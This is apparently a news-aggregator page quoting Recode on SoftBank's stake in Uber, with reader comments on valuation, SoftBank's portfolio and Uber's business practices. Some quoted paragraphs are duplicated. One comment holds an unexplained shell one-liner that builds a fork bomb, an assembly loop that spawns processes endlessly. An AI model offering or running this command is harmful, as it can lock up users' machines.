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SoftBank Acquires Big Stake In Uber In a Major Victory For Both Companies (recode.net)
According to Recode, "Softbank and its co-investors have successfully acquired at least 13 percent of Uber, a major victory for Uber's new CEO and one that will give billions of dollars in cash to some of the company's earliest investors and employees." Recode highlights the far-reaching consequences:
Uber's board of directors, which had devolved into a power struggle between Uber's former CEO, Travis Kalanick, and its largest investor, Benchmark, will now likely be calmer. Benchmark is expected to drop its lawsuit against him. And Uber will enact governance reforms that disempower the two warring factions and increase the size of the board to a massive 17 people.
A lot of people are now very rich. While we have yet to learn which investors have cashed out for the price of about $33 a share, Thursday's result is the reward for years of drama at a company that nevertheless saw astronomical growth since its founding in 2009. Uber's earliest employees who sold are now millionaires, and venture firms could see billions of dollars flow into their bank accounts.
Uber now has a powerful strategic partner in SoftBank, the Japanese telecom giant that is investing hundreds of billions of dollars in technology. SoftBank, which is heavily invested in other ride-hailing companies around the globe, could help Uber strike more partnership deals, especially in Asia. SoftBank will occupy two seats on the company's board and will now be an extremely influential player in decisions at Uber.
The deal nevertheless sharply discounts Uber's value, which last year was estimated at almost $70 billion. SoftBank and its co-investors are acquiring some of the company at a valuation of $48 billion. While a 30 percent discount is not unusual in a transaction like this, it does reflect some concerns about how the company can move forward after a year of upheavel that has not totally abated.
A lot of people are now very rich. While we have yet to learn which investors have cashed out for the price of about $33 a share, Thursday's result is the reward for years of drama at a company that nevertheless saw astronomical growth since its founding in 2009. Uber's earliest employees who sold are now millionaires, and venture firms could see billions of dollars flow into their bank accounts.
Uber now has a powerful strategic partner in SoftBank, the Japanese telecom giant that is investing hundreds of billions of dollars in technology. SoftBank, which is heavily invested in other ride-hailing companies around the globe, could help Uber strike more partnership deals, especially in Asia. SoftBank will occupy two seats on the company's board and will now be an extremely influential player in decisions at Uber.
The deal nevertheless sharply discounts Uber's value, which last year was estimated at almost $70 billion. SoftBank and its co-investors are acquiring some of the company at a valuation of $48 billion. While a 30 percent discount is not unusual in a transaction like this, it does reflect some concerns about how the company can move forward after a year of upheavel that has not totally abated.
But I will use a pussy sharing service.
Major victory my arse. Softbank? Soft in the bloody head more like.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
"While a 30 percent discount is not unusual in a transaction like this, it does reflect some concerns about how the company can move forward after a year of upheavel that has not totally abated."
I would say it reflects that they were overvalued by $22 billion.
I thought everyone at Uber was hard all the time
$32 Billion to own ARM? Not a bad deal at all.
https://www.wsj.com/articles/s...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Prior to 2015, they acquired all or a part of Sprint, Supercell, DramaFever. Since 2015 the list has gotten really long, including ARM, Nvidia, Boston Dynamics. I'm not sure there's any rhyme or reason to their investments. It seems more like a shotgun approach (a little of everything), and they're hoping one (or more) of them will pay off.
Reminds me of the 80's when the Japanese bought up billions of dollars of over-priced US real estate. The US market slumped after the S&L scam fell apart, and the Japanese investors lost billions, sparking a global recession. Looks like the same thing again, just on a larger scale. Their will be a tech bubble inevitable, and the house of cards will fall again. Time to party like its 1985 !
Uber is just another one in a loooong line of companies trying to recreate the Victorian age of zero-workers' rights and shoddy practises to drive competitors out of business and then charge monopoly rates. Oh,yeah, they use mobile phones so that makes it "innovative". Go away.
And people say that crime doesn't pay.
So from now on, will you get a discount on an Uber ride if you make it with a Sprint phone?
Not taxi advertisements.
One of the ride services might succeed and provide returns large enough to offset losses in the others like early Alibaba, Yahoo Japan-still going strong, VP JP -> SB mobile. There are failures along the way but since small donâ(TM)t make much noise while the successes compensate and get attention . Itâ(TM)s a wild ride in SB but they have pulled it off so far.
You posted it as AC. ***FAIL***
Many Uber employees are sticking around waiting for the opportunity to cash in their options, which comprise a sizable chunk of their comp package. Softbank's investment means that Uber's IPO will be put off indefinitely.
Because it cannot sustain the scrutiny of audited financials and the public markets will not sustain the ludicrous valuation. Uber is not profitable and has an extraordinary cash burn rate.
Virtually every mid to late stage investor will lose money. The early investors and founders are he only ones who will profit.